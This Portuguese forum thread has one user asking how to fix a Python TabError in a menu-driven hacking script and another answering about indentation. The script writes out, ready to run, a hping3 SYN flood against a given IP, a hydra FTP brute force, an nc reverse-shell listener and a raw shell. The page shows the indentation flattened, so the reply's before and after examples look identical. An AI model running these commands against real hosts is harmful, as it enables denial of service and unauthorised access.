Ajuda em python !

1. Ajuda em python !

jaozinho chatao
jaozinho13

(usa Debian)

Enviado em 27/10/2021 - 07:19h

alguem sabe resolver isso ?
File "/home/cozmo/MinhasTools/Exploits/exrouter.py", line 85
print('Opening shell...')
TabError: inconsistent use of tabs and spaces in indentation
ja tentei usar o autopep8 mas nao adianta o codigo

import os
import sys
import time

os.system('clear')

print('Creator: Cozmo')
print('Hello, Friend !')
print('----------------')
menu = True
while menu:
print("""
1.Scan Ports
2.Denial Of Service
3.Sniffing
4.IP Lookup
5.Reverse Shell
6.Detect DDoS
7.Exit
8.Bruteforce ftp
9.Clear Terminal
10.Banner
11.Hide IP
12.Open Shell
""")
menu = input("[email protected]:# ")
if menu == "1":
comando1 = input('IP: ')
print('Scanning for ports...')
print(
os.system(f'nmap -sV -vv {comando1} | grep "Discovered open port" '))
os.system('echo ')
print('Press Control + C to Back')
elif menu == "2":
comando2 = input('IP to Attack: ')
print()
print('Attacking Server !')
print('press control + c to back')
os.system(f'hping3 -S -d 128 {comando2} --flood')

elif menu == "3":
print('sniffing network... !')
print('press control + c to back')
os.system('tcpdump')
elif menu == "4":
comando3 = input('IP to Hack: ')
os.system(f'trace -t {comando3}')
elif menu == "5":
comando4 = input('Port: ')
print('press control + c to stop')
os.system(f'nc -lvp {comando4}')
elif menu == "6":
print('Scanning for Attack ddos...')
print('Press Control + C to stop')
os.system(
'snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i wlan0')

elif menu == "7":
os.system('clear')
print('GoodBye !')
sys.exit()

elif menu == "8":
comando5 = input("IP to Bruteforce: ")
users = input("Users List: ")
passlist = input("PassList: ")
print('ATTACKING SERVICE FTP...')
os.system(f"hydra ftp://{comando5} -L {users} -P {passlist}")
print('Testing Usernames And Passwords...')
elif menu == "9":
os.system('clear')
elif menu == "10":
os.system('clear')
os.system('figlet EXROUTER')
os.system('banner EXROUTER')
time.sleep(5)
elif menu == "11":
print('Hide IP !')
os.system('anonsurf start')
print('IP...')
os.system('anonsurf myip')
time.sleep(4)

elif menu == "12":
print('Opening shell...')
command = input('[email protected]:-#')
os.system(f'{command}')

elif menu != "":
print("\n Option Invalid !")


QUEM SOUBER RESOLVER AGRADEÇO (:


  


2. Ajuda em python !

Marcos Fernandes
markirius

(usa Arch Linux)

Enviado em 27/10/2021 - 18:51h

File "/home/cozmo/MinhasTools/Exploits/exrouter.py", line 85
print('Opening shell...')
TabError: inconsistent use of tabs and spaces in indentation


você está errando a indentação (4 espaços[recomendado] ou tabs, ou misturando espaços e tabs) a partir da linha 85 ou antes, tipo...

se está assim:
elif menu == "12":
print('Opening shell...')
command = input('[email protected]:-#')
os.system(f'{command}')

faça assim:

elif menu == "12":
print('Opening shell...')
command = input('[email protected]:-#')
os.system(f'{command}')







Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts